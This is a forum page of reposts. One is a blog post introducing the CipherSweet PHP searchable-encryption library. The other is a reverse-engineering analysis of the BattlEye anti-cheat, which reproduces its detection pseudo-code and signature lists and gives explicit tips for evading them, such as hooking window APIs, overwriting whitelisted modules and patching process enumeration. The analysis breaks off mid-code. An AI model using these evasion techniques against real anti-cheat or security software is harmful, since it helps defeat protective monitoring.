-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
CipherSweet: Searchable Encryption Doesn't Have to be Bitter January 28, 2019 9:38 pm by Scott Arciszewski Open Source Back in 2017, we outlined the fundamentals of searchable encryption with PHP and SQL. Shortly after, we implemented this design in a library we call CipherSweet. Our initial design constraints were as follows: Only use the cryptography tools that are already widely available to developers. Only use encryption modes that are secure against chosen-ciphertext attacks. Treat usability as a security property. Remain as loosely schema-agnostic as possible, so that it's possible to use our design in NoSQL contexts or wildly different SQL database layouts. Be extensible, so that it may be integrated with many other products and services. Today, we'd like to talk about some of the challenges we've encountered, as well as some of the features that have landed in CipherSweet since its inception, and how we believe they are beneficial for the adoption of usable cryptography at scale. If you're not familiar with cryptography terms, you may find this page useful. Challenges in Searchable Encryption As of the time of this writing, it's difficult to declare a "state of the art" design for searchable encryption, for two reasons: Different threat models and operational requirements. Ongoing academic research into different designs and attacks. Cryptographers interested in encrypted search engines are likely invested in the ongoing research into fully homomorphic encryption (FHE), which allows the database server to perform calculations on the ciphertext and return an encrypted result to the application to decrypt. Some projects (e.g. the encrypted camera app Pixek and much of the other work of Seny Kamara, et al.) uses a technique called structured encryption to accomplish encrypted search with a different threat model and set of operational requirements. Namely, the queries and tags are encrypted client-side and the server just acts as a data mule with no additional power to perform computations. In either case, there are a few challenges that any proposed design must help its users overcome if they are to be used in the real world. Active Cryptanalytic Attacks The most significant real-world deterrents from adopting fully homomorphic encryption today are: Performance. Cryptography implementation availability. However, savvy companies will also list a third deterrent: adaptive chosen-ciphertext attacks. This can be a controversial point to raise, because its significance depends on your application's threat model. Some application developers really trust their database server to not lie to the application. More generally, all forms of active attacks from a privileged but not omnipotent user (e.g. root access to the database server, but not root access on the client application software) should be considered when design any kind of encrypted search feature. Small Input Domains Let's say you're designing software for a hospital computer network and need to store protected health information with very few possible inputs (e.g. HIV status). Even if you can encrypt this data securely (i.e. using AEAD and without message length oracles), any system that allows you to quickly search the database for a specific value (e.g. HIV Positive) introduces the risk of leaking information through side-channels. Information Leakage Search operations are ripe for oracles. In particular: Order-revealing encryption techniques leak your plaintext, similar to block ciphers in ECB mode. Any proposal for searchable encryption must be able to account for its information leakage and provide users a simple way of understanding and managing that risk. CipherSweet: A High-Level Overview This is a brief introduction to CipherSweet and a high-level overview. For more depth, please refer to the official documentation on Github. Where to Get CipherSweet CipherSweet is available on Github, and can be installed via Composer with the following command: composer require paragonie/ciphersweet Using CipherSweet First, you need a backend, which handles all of the cryptographic heavy lifting. We give you two to choose from, but there's also a BackendInterface if anyone ever needs to define their own: FIPSCrypto only uses the algorithms approved for use by FIPS 140-2. Note that using this backend doesn't automatically make your application FIPS 140-2 certified. ModernCrypto uses libsodium, and is generally recommended in most situations. Once you've chosen a backend, you're done thinking about cryptography algorithms. You don't need to specify a cipher mode, or a hash function, or anything else. Instead, the next step is to decide how you want to manage your keys. In addition to a few generic options, CipherSweet provides a KeyProviderInterface to allow developers to integrate with their own custom key management solutions. Finally, you just need to pass the backend and key provider to the engine. From this point on, the engine is the only object you need to work with directly. All together, it looks like this: <?php use ParagonIE\CipherSweet\Backend\ModernCrypto; use ParagonIE\CipherSweet\KeyProvider\StringProvider; use ParagonIE\CipherSweet\CipherSweet; // First, choose your backend: $backend = new ModernCrypto(); // Next, your key provider: $provider = new StringProvider( // The key provider stores the BackendInterface for internal use: $backend, // Example key, chosen randomly, hex-encoded: '4e1c44f87b4cdf21808762970b356891db180a9dd9850e7baf2a79ff3ab8a2fc' ); // From this point forward, you only need your Engine: $engine = new CipherSweet($provider); Once you have an working CipherSweet engine, you have a lot of flexibility in how you use it. In each of the following classes, you'll mostly use the following methods: prepareForStorage() on INSERT and UPDATE queries. getAllBlindIndexes() / getBlindIndex() for SELECT queries. decrypt() / decryptRow() / decryptManyRows() for decrypting after the SELECT query. The encrypt/decrypt APIs were named more verbosely than simply encrypt()/decrypt() to ensure that the intent is communicated whenever a developer works with it. EncryptedField: Searchable Encryption for a Single Column EncryptedField is a minimalistic interface for encrypting a single column of a database table. EncryptedField is designed for projects that only ever need to encrypt a single field, but still want to be able to search on the values of this field. <?php use ParagonIE\CipherSweet\BlindIndex; use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedField; use ParagonIE\CipherSweet\Transformation\LastFourDigits; /** @var CipherSweet $engine */ $ssn = (new EncryptedField($engine, 'contacts', 'ssn')) ->addBlindIndex( new BlindIndex('contact_ssn_full', [], 8) ) ->addBlindIndex( new BlindIndex('contact_ssn_last_four', [new LastFourDigits], 4) ); EncryptedRow: Searchable Encryption for Many Columns in One Table EncryptedRow is a more powerful API that operates on rows of data at a time. EncryptedRow is designed for projects that encrypt multiple fields and/or wish to create compound blind indexes. It also has built-in handling for integers, floating point numbers, and (nullable) boolean values, (which furthermore doesn't leak the size of the stored values in the ciphertext length): <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedRow; /** @var CipherSweet $engine */ $row = (new EncryptedRow($engine, 'contacts')) ->addTextField('first_name') ->addTextField('last_name') ->addTextField('ssn') ->addBooleanField('hivstatus') ->addFloatField('latitude') ->addFloatField('longitude') ->addIntegerField('birth_year'); EncryptedRow expects an array that maps column names to values, like so: <?php $input = [ 'contactid' => 12345, 'first_name' => 'Jane', 'last_name' => 'Doe', 'ssn' => '123-45-6789', 'hivstatus' => false, 'latitude' => 52.52, 'longitude' => -33.106, 'birth_year' => 1988, 'extraneous' => true ]; EncryptedMultiRows: Searchable Encryption for Many Tables EncryptedMultiRows is a multi-row abstraction designed to make it easier to work on heavily-normalized databases and integrate CipherSweet with ORMs (e.g. Eloquent). Under the hood, it maintains an internal array of EncryptedRow objects (one for each table), so the features that EncryptedRow provides are also usable from EncryptedMultiRows. Anyone familiar with EncryptedRow should find the API for EncryptedMultiRows to be familiar. <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedMultiRows; /** @var CipherSweet $engine */ $rowSet = (new EncryptedMultiRows($engine)) ->addTextField('contacts', 'first_name') ->addTextField('contacts', 'last_name') ->addTextField('contacts', 'ssn') ->addBooleanField('contacts', 'hivstatus') ->addFloatField('contacts', 'latitude') ->addFloatField('contacts', 'longitude') ->addIntegerField('contacts', 'birth_year') ->addTextField('foobar', 'test'); EncryptedRows expects an array of table names mapped to an array that in turn maps columns to values, like so: <?php $input = [ 'contacts' => [ 'contactid' => 12345, 'first_name' => 'Jane', 'last_name' => 'Doe', 'ssn' => '123-45-6789', 'hivstatus' => null, // unknown 'latitude' => 52.52, 'longitude' => -33.106, 'birth_year' => 1988, 'extraneous' => true ], 'foobar' => [ 'foobarid' => 23, 'contactid' => 12345, 'test' => 'paragonie' ] ]; CipherSweet's Usable Cryptography Wins In addition to being designed in accordance to cryptographically secure PHP best practices, CipherSweet was also carefully constructed to be a user-friendly cryptographic API. Here are some of the design decisions and features that lend towards hitting its usable security goals. Blind Index Planning If you're not familiar with blind indexes, please read the blog post detailing the fundamentals of our design. Our blind indexing technique has a relatively straightforward information leakage profile, since the building block we use is a keyed hash function (e.g. HMAC-SHA384 or BLAKE2b) or key derivation function (e.g. PBKDF2-SHA384 or Argon2id), which is then truncated and used as a Bloom filter. If you make your index outputs too small, you'll incur a performance penalty from false positives that makes the blind index almost pointless. If you make your index outputs too large, you introduce the risk of creating unique fingerprints of the plaintext. The existence of reliable fingerprints introduce the risk of known- and chosen-plaintext attacks. However, calculating a safe output size for each blind index involves a bit of math: Generally, for a given population P, you want there to be between 2 and sqrt(P) hash prefix collisions (which we call "coincidences") in the blind index output. To save developers time doing pencil and paper math, we created Planner classes, which let you figure out how many bits you can safely make your blind index outputs. No pencil and paper needed. Compound Blind Indexes A compound blind index is simply a blind index that was created from multiple fields at once. This is extremely useful if you want to filter your encrypted search results based on a boolean field without leaking the boolean value directly in the index value. More broadly, compound blind indexes give you a flexible way to index common search criteria to make lookups fast. For example, using EncryptedRow: <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\Transformation\AlphaCharactersOnly; use ParagonIE\CipherSweet\Transformation\FirstCharacter; use ParagonIE\CipherSweet\Transformation\Lowercase; use ParagonIE\CipherSweet\Transformation\LastFourDigits; use ParagonIE\CipherSweet\EncryptedRow; /** @var EncryptedRow $row */ $row->addCompoundIndex( $row->createCompoundIndex( 'contact_first_init_last_name', ['first_name', 'last_name'], 64, // 64 bits = 8 bytes true ) ->addTransform('first_name', new AlphaCharactersOnly()) ->addTransform('first_name', new Lowercase()) ->addTransform('first_name', new FirstCharacter()) ->addTransform('last_name', new AlphaCharactersOnly()) ->addTransform('last_name', new Lowercase()) ); This gives you a case-insensitive index of first initial + last name. Built-In Key Separation Information leakage is especially harmful if you're using the same key everywhere. To mitigate this, CipherSweet automatically derives distinct subkeys for each table and column, and then for each blind index, using a process called the key hierarchy. The short of it is: Your KeyProvider defines a master key, from which the actual key used for encrypting each field is derived. We use HKDF and carefully-chosen domain separation constants to ensure cross-protocol attacks are not possible. Key Rotation If you need ever to switch CipherSweet backends or rotate your keys, we created a special-purpose suite of PHP classes to facilitate less-painful data migrations and reduce the amount of boilerplate code needed. <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\KeyRotation\FieldRotator; use ParagonIE\CipherSweet\EncryptedField; // 1. Set up /** * @var string $ciphertext * @var CipherSweet $old * @var CipherSweet $new */ $oldField = new EncryptedField($old, 'contacts', 'ssn'); $newField = new EncryptedField($new, 'contacts', 'ssn'); $rotator = new FieldRotator($oldField, $newField); // 2. Using the if ($rotator->needsReEncrypt($ciphertext)) { list($ciphertext, $indices) = $rotator->prepareForUpdate($ciphertext); // Then update this row in the database. } You can learn more about the various various migration features here. Upcoming Developments in CipherSweet One of the items on our roadmap for PHP security in 2019 is to bring CipherSweet to your favorite framework, with as little friction as possible. To this end, we will be releasing ORM integrations throughout Q1 2019, starting with Eloquent and Doctrine. Additionally, we plan on shipping KeyProvider implementations to integrate with cloud KMS solutions and common HSM solutions (e.g. YubiHSM). These will be standalone packages that extend the core functionality of CipherSweet to allow businesses and government offices to meet their stringent security compliance requirements without polluting the main library with code to tolerate oddly-specific requirements. When both of these developments have been completed, adopting searchable encryption in your PHP software should be as painless as possible. Finally, we want to develop CipherSweet beyond the PHP language. We want to provide compatible implementations for Java, C#, and Node.js developers in our initial run, although we're happy to assist the open source community in developing and auditing compatible libraries in other languages. Honorable mention: Ryan Littlefield has already started on an early Python implementation of CipherSweet. Support the Development of CipherSweet If you'd like to support our development efforts, please consider purchasing an enterprise support contract from our company. Permalink Discuss on Hacker News License: Creative Commons Attribution-ShareAlike 4.0 International View source (Markdown) Application Security Cryptography Encryption PHP Security SQL Web Development About the Author Scott Arciszewski Chief Development Officer With 15 years of software development, application security, and system administration experience, Scott aspires to help others attain a happier work-life balance by solving difficult problems and automating trivial tasks. He is mostly known in the community for his open source software security research and strong progressive positions on providing tools and frameworks that are secure by default. @CiPHPerCoder Sursa: https://paragonie.com/blog/2019/01/ciphersweet-searchable-encryption-doesn-t-have-be-bitter
-
- 1
-
-
BattlEye anticheat: analysis and mitigation Feb 10, 2019 BattlEye BattlEye is a prevalent german third-party anti-cheat primarily developed by the 32-year-old founder Bastian Heiko Suter. It provides game publishers easy-to-use anti-cheat solutions, using generic protection mechanisms and game-specific detections to provide optimal security, or at least tries to. As their website states, they are always staying on top of state-of-the-art technologies and utilizing innovative methods of protection and detection, evidently due to their nationality: QUALITY MADE IN GERMANY. BattlEye consists of multiple organs that work together to catch and prevent cheaters in the respective games that pay them. The four main entities are: BEService Windows system service that communicates with the BattlEye server BEServer, which provides BEDaisy and BEClient server-client-communication capabilities. BEDaisy Windows kernel driver that registers preventive callbacks and minifilters to prevent cheaters from modifying the game illicitly. BEClient Windows dynamic link library that is responsible for most of the detection vectors, including the ones in this article. It is mapped into the game process after initialization. BEServer Proprietary backend-server that is responsible for collecting information and taking concrete actions against cheaters. Shellcode Recently, a dump of BattlEye’s shellcode surfaced on the internet, and we decided to make a write-up of what exactly the current iteration of BattlEye is actively looking for. We have not worked on BattlEye for the past 6 months, so the last piece of shellcode we have dumped is most likely obsolete. Miscellaneous parts of code were recognized completely from memory in this recent dump, suggesting that BattlEye only appends to the shellcode and does not remove previous detection procedures. How? BattlEye presumably streams its shellcode from their server to the windows service, known as BEService. This service communicates with the battleye module located inside of the game process, known as BEClient. The communication is done over the named pipe \\.\namedpipe\Battleye and up until last year was unencrypted. Now, all communication is encrypted through a xor cipher with very small keys, making known plaintext attacks trivial. When the shellcode has been streamed to the client, it is allocated and executed outside of any known modules, making distinction easy. To dump the shellcode, you can either hook prevalent windows-api functions like CreateFile, ReadFile, et cetera, and dump any caller’s respective memory section (query memory information on the return address) that is outside of any known module, or periodically scan the game’s virtual memory space for executable memory outside of any known module, and dump it to disk. Make sure to keep track of which sections you have dumped so you do not end up with thousands of identical dumps. Disclaimer The following pseudo-code snippets are heavily beautified. You will not be able to dump the BattlEye shellcode and instantly recognize some of these parts; the shellcode does not contain any function calls, and many algorithms are unrolled. That doesn’t really matter, as when you’re finished reading about this atrocious anticheat, you will have a field day bypassing it ? Memory enumeration The most common detection mechanism anti-cheat solutions utilize is memory enumeration and memory scanning, to detect known cheat images. It’s easy to implement and quite effective when done correctly, as long as you don’t forget basic assembly and blacklist a common function prologue, as we’ve seen in the past. Battleye enumerates the entire address space of the game process (current process in the following context) and runs various checks whenever a page is executable and outside of the respective shellcode memory space. This is their implementation: // MEMORY ENUMERATION for (current_address = 0; // QUERY MEMORY_BASIC_INFORMATION NtQueryVirtualMemory(GetCurrentProcess(), current_address, 0, &memory_information, 0x30, &return_length) >= 0; current_address = memory_information.base_address + memory_information.region_size) { const auto outside_of_shellcode = memory_information.base_address > shellcode_entry || memory_information.base_address + memory_information.region_size <= shellcode_entry; const auto executable_memory = memory_information.state == MEM_COMMIT && (memory_information.protect == PAGE_EXECUTE || memory_information.protect == PAGE_EXECUTE_READ || memory_information.protect == PAGE_EXECUTE_READWRITE); const auto unknown_whitelist = memory_information.protect != PAGE_EXECUTE_READWRITE || memory_information.region_size != 100000000; if (!executable_memory || !outside_of_shellcode || !unknown_whitelist) continue; // RUN CHECKS memory::anomaly_check(memory_information); memory::pattern_check(current_address, memory_information); memory::module_specific_check_microsoft(memory_information); memory::guard_check(current_address, memory_information); memory::module_specific_check_unknown(memory_information); } Memory anomaly BattlEye will flag any anomalies in the memory address space, primarily executable memory that does not correspond to a loaded image: void memory::anomaly_check(MEMORY_BASIC_INFORMATION memory_information) { // REPORT ANY EXECUTABLE PAGE OUTSIDE OF KNOWN MODULES if (memory_information.type == MEM_PRIVATE || memory_information.type == MEM_MAPPED) { if ((memory_information.base_address & 0xFF0000000000) != 0x7F0000000000 && // UPPER EQUALS 0x7F (memory_information.base_address & 0xFFF000000000) != 0x7F000000000 && // UPPER EQUALS 0x7F0 (memory_information.base_address & 0xFFFFF0000000) != 0x70000000 && // UPPER EQUALS 0x70000 memory_information.base_address != 0x3E0000)) { memory_report.unknown = 0; memory_report.report_id = 0x2F; memory_report.base_address = memory_information.base_address; memory_report.region_size = memory_information.region_size; memory_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&memory_report, sizeof(memory_report), 0); } } } Pattern scans As we previously mentioned, BattlEye also scans memory of the local process for various hardcoded patterns, as the following implementation shows. What you might realize when reading this pseudo-code is that you can bypass these checks by overwriting any loaded module’s code section, as they will not run any pattern scans on known images. To prevent being hit by integrity checks, load any packed, whitelisted module and overwrite code sections marked as RWX, as you can’t run integrity checks without emulating the packer. The current iteration of BattlEye’s shellcode has these memory patterns hardcoded: [05 18] ojects\PUBGChinese [05 17] BattleGroundsPrivate_CheatESP [05 17] [%.0fm] %s [05 3E] \00\00\00\00Neck\00\00\00\00Chest\00\00\00\00\00\00\00Mouse 1\00 [05 3F] PlayerESPColor [05 40] Aimbot: %d\00\2D\3E\20\41 [05 36] HackMachine [05 4A] VisualHacks.net [05 50] \3E\23\2F\65\3E\31\31\4E\4E\56\3D\42\76\28\2A\3A\2E\46\3F\75\75\23\28\67\52\55\2E\6F\30\58\47\48 [05 4F] DLLInjection-master\\x64\\Release\\ [05 52] NameESP [05 48] Skullhack [05 55] .rdata$zzzdbg [05 39] AimBot [05 39] \EB\49\41\80\3C\12\3F\75\05\C6\02\3F\EB\38\8D\41\D0\0F\BE\C9\3C\09\77\05\83\E9\30\EB\06\83\E1\DF [05 5F] \55\E9 [05 5F] \57\E9 [05 5F] \60\E9 [05 68] D3D11Present initialised [05 6E] [ %.0fM ] [05 74] [hp:%d]%dm [05 36] \48\83\64\24\38\00\48\8D\4C\24\58\48\8B\54\24\50\4C\8B\C8\48\89\4C\24\30\4C\8B\C7\48\8D\4C\24\60 [05 36] \74\1F\BA\80\00\00\00\FF\15\60\7E\00\00\85\C0\75\10\F2\0F\10\87\80\01\00\00\8B\87\88\01\00\00\EB [05 36] \40\F2\AA\15\6F\08\D2\89\4E\9A\B4\48\95\35\D3\4F\9CPOSITION\00\00\00\00COL [05 7A] \FF\E0\90 [05 79] %s\00\00%d\00\00POSITION\00\00\00\00COLOR\00\00\00\00\00\00\00 [05 36] \8E\85\76\5D\CD\DA\45\2E\75\BA\12\B4\C7\B9\48\72\11\6D\B9\48\A1\DA\A6\B9\48\A7\67\6B\B9\48\90\2C [05 8A] \n<assembly xmlsn='urn:schemas-mi These memory patterns also contain a two-byte header, respectively an unknown static value 05 and an unique identifier. What you won’t see here is that BattlEye also dynamically streams patterns from BEServer and sends them to BEClient, but we won’t be covering those in this article. These are iteratively scanned for by the following algorithm: void memory::pattern_check(void* current_address, MEMORY_BASIC_INFORMATION memory_information) { const auto is_user32 = memory_information.allocation_base == GetModuleHandleA("user32.dll"); // ONLY SCAN PRIVATE MEMORY AND USER32 CODE SECTION if (memory_information.type != MEM_PRIVATE && !is_user32) continue; for (address = current_address; address != memory_information.base_address + memory_information.region_size; address += PAGE_SIZE) // PAGE_SIZE { // READ ENTIRE PAGE FROM LOCAL PROCESS INTO BUFFER if (NtReadVirtualMemory(GetCurrentProcess(), address, buffer, PAGE_SIZE, 0) < 0) continue; for (pattern_index = 0; pattern_index < 0x1C/*PATTERN COUNT*/; ++pattern_index) { if (pattern[pattern_index].header == 0x57A && !is_user32) // ONLY DO \FF\E0\90 SEARCHES WHEN IN USER32 continue; for (offset = 0; pattern[pattern_index].length + offset <= PAGE_SIZE; ++offset) { const auto pattern_matches = memory::pattern_match(&address[offset], pattern[pattern_index]); // BASIC PATTERN MATCH if (pattern_matches) { // PATTERN FOUND IN MEMORY pattern_report.unknown = 0; pattern_report.report_id = 0x35; pattern_report.type = pattern[index].header; pattern_report.data = &address[offset]; pattern_report.base_address = memory_information.base_address; pattern_report.region_size = memory_information.region_size; pattern_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&pattern_report, sizeof(pattern_report), 0); } } } } } Module specific (Microsoft) The module specific checks will report you for having specific modules loaded into the game process: void memory::module_specific_check_microsoft(MEMORY_BASIC_INFORMATION memory_information) { auto executable = memory_information.protect == PAGE_EXECUTE || memory_information.protect == PAGE_EXECUTE_READ || memory_information.protect == PAGE_EXECUTE_READWRITE; auto allocated = memory_information.state == MEM_COMMIT; if (!allocated || !executable) continue; auto mmres_handle = GetModuleHandleA("mmres.dll"); auto mshtml_handle = GetModuleHandleA("mshtml.dll"); if (mmres_handle && mmres_handle == memory_information.allocation_base) { battleye_module_anomaly_report module_anomaly_report; module_anomaly_report.unknown = 0; module_anomaly_report.report_id = 0x5B; module_anomaly_report.identifier = 0x3480; module_anomaly_report.region_size = memory_information.region_size; battleye::report(&module_anomaly_report, sizeof(module_anomaly_report), 0); } else if (mshtml_handle && mshtml_handle == memory_information.allocation_base) { battleye_module_anomaly_report module_anomaly_report; module_anomaly_report.unknown = 0; module_anomaly_report.report_id = 0x5B; module_anomaly_report.identifier = 0xB480; module_anomaly_report.region_size = memory_information.region_size; battleye::report(&module_anomaly_report, sizeof(module_anomaly_report), 0); } } Module specific (Unknown) A very specific module check has been added that will report you to the server if your loaded module meets any of these criteria: void memory::module_specific_check_unknown(MEMORY_BASIC_INFORMATION memory_information) { const auto dos_header = (DOS_HEADER*)module_handle; const auto pe_header = (PE_HEADER*)(module_handle + dos_header->e_lfanew)); const auto is_image = memory_information.state == MEM_COMMIT && memory_information.type == MEM_IMAGE; if (!is_image) return; const auto is_base = memory_information.base_address == memory_information.allocation_base; if (!is_base) return; const auto match_1 = time_date_stamp == 0x5B12C900 && *(__int8*)(memory_information.base_address + 0x1000) == 0x00 && *(__int32*)(memory_information.base_address + 0x501000) != 0x353E900; const auto match_2 = time_date_stamp == 0x5A180C35 && *(__int8*)(memory_information.base_address + 0x1000) != 0x00; const auto match_2 = time_date_stamp == 0xFC9B9325 && *(__int8*)(memory_information.base_address + 0x6D3000) != 0x00; if (!match_1 && !match_2 && !match_3) return; const auto buffer_offset = 0x00; // OFFSET DEPENDS ON WHICH MODULE MATCHES, RESPECTIVELY 0x501000, 0x1000 AND 0x6D3000 unknown_module_report.unknown1 = 0; unknown_module_report.report_id = 0x46; unknown_module_report.unknown2 = 1; unknown_module_report.data = *(__int128*)(memory_information.base_address + buffer_offset); battleye::report(&unknown_module_report, sizeof(unknown_module_report), 0); } We do not know which modules meet these criteria, but suspect it is an attempt to detect very few, specific cheat modules. Edit: @how02 alerted us that the module action_x64.dll has the timestamp 0x5B12C900, and contains a code section that is writeable, which could be exploitable as previously mentioned. Memory guard BattlEye has also incorporated a very questionable detection routine that we believe is seeking out memory with the flag PAGE_GUARD set, without actually checking if the PAGE_GUARD flag is set: void memory::guard_check(void* current_address, MEMORY_BASIC_INFORMATION memory_information) { if (memory_information.protect != PAGE_NOACCESS) { auto bad_ptr = IsBadReadPtr(current_address, sizeof(temporary_buffer)); auto read = NtReadVirtualMemory( GetCurrentProcess(), current_address, temporary_buffer, sizeof(temporary_buffer), 0); if (read < 0 || bad_ptr) { auto query = NtQueryVirtualMemory( GetCurrentProcess(), current_address, 0, &new_memory_information, sizeof(new_memory_information), &return_length); memory_guard_report.guard = query < 0 || new_memory_information.state != memory_information.state || new_memory_information.protect != memory_information.protect; if (memory_guard_report.guard) { memory_guard_report.unknown = 0; memory_guard_report.report_id = 0x21; memory_guard_report.base_address = memory_information.base_address; memory_guard_report.region_size = (int)memory_information.region_size; memory_guard_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&memory_guard_report, sizeof(memory_guard_report), 0); } } } } Window enumeration BattlEye’s shellcode enumerates every single window that is currently visible while the game is running, which it does by iterating windows from the top-down (z-value). Window handles inside of the game process are excluded from the aforementioned enumeration, as determined by a GetWindowThreadProcessId call. You can therefore hook the respective function to spoof ownership of the window and prevent BattlEye from enumerating your window. void window_handler::enumerate() { for (auto window_handle = GetTopWindow(); window_handle; window_handle = GetWindow(window_handle, GW_HWNDNEXT), // GET WINDOW BELOW ++window_handler::windows_enumerated) // INCREMENT GLOBAL COUNT FOR LATER USAGE { auto window_process_pid = 0; GetWindowThreadProcessId(window_handle, &window_process_pid); if (window_process_pid == GetCurrentProcessId()) continue; // APPEND INFORMATION TO THE MISC. REPORT, THIS IS EXPLAINED LATER IN THE ARTICLE window_handler::handle_summary(window_handle); constexpr auto max_character_count = 0x80; const auto length = GetWindowTextA(window_handle, window_title_report.window_title, max_character_count); // DOES WINDOW TITLE MATCH ANY OF THE BLACKLISTED TITLES? if (!contains(window_title_report.window_title, "CheatAut") && !contains(window_title_report.window_title, "pubg_kh") && !contains(window_title_report.window_title, "conl -") && !contains(window_title_report.window_title, "PerfectA") && !contains(window_title_report.window_title, "AIMWA") && !contains(window_title_report.window_title, "PUBG AIM") && !contains(window_title_report.window_title, "HyperChe")) continue; // REPORT WINDOW window_title_report.unknown_1 = 0; window_title_report.report_id = 0x33; battleye::report(&window_title_report, sizeof(window_title_report) + length, 0); } } Anomaly in enumeration If fewer than two windows were enumerated, the server gets notified. This is probably done to prevent someone from patching the respective functions, preventing any windows from being looked at by BattlEye’s shellcode: void window_handler::check_count() { if (window_handler::windows_enumerated > 1) return; // WINDOW ENUMERATION FAILED, MOST LIKELY DUE TO HOOK window_anomaly_report.unknown_1 = 0; window_anomaly_report.report_id = 0x44; window_anomaly_report.enumerated_windows = windows_enumerated; battleye::report(&window_anomaly_report, sizeof(window_anomaly_report), 0); } Process enumeration BattlEye enumerates all running processes with a CreateToolhelp32Snapshot call, but does not handle any errors, making it very easy to patch and prevent any of the following detection routines: Path check If image is inside of at least two sub directories (from disk root), it will flag processes if the respective image path contains atleast one of these strings: \Desktop\ \Temp\ \FileRec \Documents\ \Downloads\ \Roaming\ tmp.ex notepad. ...\\. cmd.ex If your executable path matches one of these strings, the server will get notified of your executable path, as well as information on whether or not the parent process is one of the following (contains respective flag bit sent to server): steam.exe [0x01] explorer.exe [0x02] lsass.exe [0x08] cmd.exe [0x10] If the client cannot open a handle with the respective QueryLimitedInformation rights, it will set the flag bit 0x04 if error reason for the OpenProcess call fail does not equal ERROR_ACCESS_DENIED, which gives us the final enumeration container for the respective flag value: enum BATTLEYE_PROCESS_FLAG { STEAM = 0x1, EXPLORER = 0x2, ERROR = 0x4, LSASS = 0x8, CMD = 0x10 } If steam is the parent process, you will get instantly flagged and reported to the server with report id 0x40 Image name If your process matches any of the miscellaneous criteria below, you will get instantly flagged and reported to the server with report id 0x38 Image name contains "Loadlibr" Image name contains "Rng " Image name contains "\A0\E7\FF\FF\FF\81" Image name contains "RNG " Image name contains "\90\E5\43\55" Image name contains "2.6.ex" Image name contains "TempFile.exe" Steam game overlay BattlEye is keeping its eye out on the steam game overlay process, which is responsible for the in-game overlay most steam users know. The full image name of the steam game overlay host is gameoverlayui.exe and is known to be exploited for rendering purposes, as it is quite trivial to hijack and maliciously draw to the game window. The condition for the check is: file size != 0 && image name contains (case insensitive) gameoverlayu The following checks specific to the steam game overlay are almost identical to the routines being ran on the game process itself, therefore they have been omitted from the pseudo code. Steam Game Overlay memory scan The steam game overlay process will have its memory scanned for patterns and anomalies. We were unable to go further down the rabbit hole and find out what these patterns are for, as they are very generic and are probably cheat-module related. void gameoverlay::pattern_scan(MEMORY_BASIC_INFORMATION memory_information) { // PATTERNS: // Home // F1 // \FF\FF\83\C4\08\C3\00\00\00\00\00\00\00\00\00\00 // \\.\pipe\%s // \C7\06\00\00\00\00\C6\47\03\00 // \60\C0\18\01\00\00\33\D2 // ... // PATTERN SCAN, ALMOST IDENTICAL CODE TO THE AFOREMENTIONED PATTERN SCANNING ROUTINE gameoverlay_memory_report.unknown_1 = 0; gameoverlay_memory_report.report_id = 0x35; gameoverlay_memory_report.identifier = 0x56C; gameoverlay_memory_report.data = &buffer[offset]; gameoverlay_memory_report.base_address = memory_information.base_address; gameoverlay_memory_report.region_size = (int)memory_information.region_size; gameoverlay_memory_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&gameoverlay_memory_report, sizeof(gameoverlay_memory_report), 0); } The scan routine also looks for any anominalies in the form of executable memory outside of loaded images, suggesting intruders have injected code into the overlay process: void gameoverlay::memory_anomaly_scan(MEMORY_BASIC_INFORMATION memory_information) { // ... // ALMOST IDENTICAL ANOMALY SCAN COMPARED TO MEMORY ENUMERATION ROUTINE OF GAME PROCESS gameoverlay_report.unknown = 0; gameoverlay_report.report_id = 0x3B; gameoverlay_report.base_address = memory_information.base_address; gameoverlay_report.region_size = memory_information.region_size; gameoverlay_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&gameoverlay_report, sizeof(gameoverlay_report), 0); } Steam Game Overlay process protection If the steam game overlay process has been protected using any windows process protection like Light (WinTcb), the server will get notified. void gameoverlay::protection_check(HANDLE process_handle) { auto process_protection = 0; NtQueryInformationProcess( process_handle, ProcessProtectionInformation, &process_protection, sizeof(process_protection), nullptr); if (process_protection == 0) // NO PROTECTION return; gameoverlay_protected_report.unknown = 0; gameoverlay_protected_report.report_id = 0x35; gameoverlay_protected_report.identifier = 0x5B1; gameoverlay_protected_report.data = process_protection; battleye::report(&gameoverlay_protected_report, sizeof(gameoverlay_protected_report), 0); } You will also get reported with report id 3B if the respective OpenProcess call to the aforementioned game overlay process returns ERROR_ACCESS_DENIED. Module enumeration Modules of the steam game overlay process are also enumerated, specifically looking for vgui2_s.dll and gameoverlayui.dll. Certain checks have been put in place for these respective modules, beginning with gameoverlayui.dll. If this condition matches: [gameoverlayui.dll+6C779] == \00\8B\E5\5D\C3\CC\CC\B8\??\??\??\??\C3\CC\CC\CC, the shellcode will scan a vtable at the address stored in the bytes \??\??\??\??. If any of these vtable entries are outside of the original gameoverlayui.dll module or point to an int 3 instruction, you get reported with the report id 3B. void gameoverlay::scan_vtable(HANDLE process_handle, char* buffer, MODULEENTRY32 module_entry) { char function_buffer[16]; for (vtable_index = 0; vtable_index < 20; vtable_index += 4) { NtReadVirtualMemory( process_handle, *(int*)&buffer[vtable_index], &function_buffer, sizeof(function_buffer), 0); if (*(int*)&buffer[vtable_index] < module_entry.modBaseAddr || *(int*)&buffer[vtable_index] >= module_entry.modBaseAddr + module_entry.modBaseSize || function_buffer[0] == 0xCC ) // FUNCTION PADDING { gameoverlay_vtable_report.report_id = 0x3B; gameoverlay_vtable_report.vtable_index = vtable_index; gameoverlay_vtable_report.address = buffer[vtable_index]; battleye::report(&gameoverlay_vtable_report, sizeof(gameoverlay_vtable_report), 0); } } } The vgui2_s.dll module also has a specific check routine set in place: void vgui::scan() { if (!equals(vgui_buffer, "\6A\00\8B\31\FF\56\1C\8B\0D\??\??\??\??\??\FF\96\??\??\??\??\8B\0D\??\??\??\??\8B\01\FF\90")) { auto could_read = NtReadVirtualMemory( process_handle, 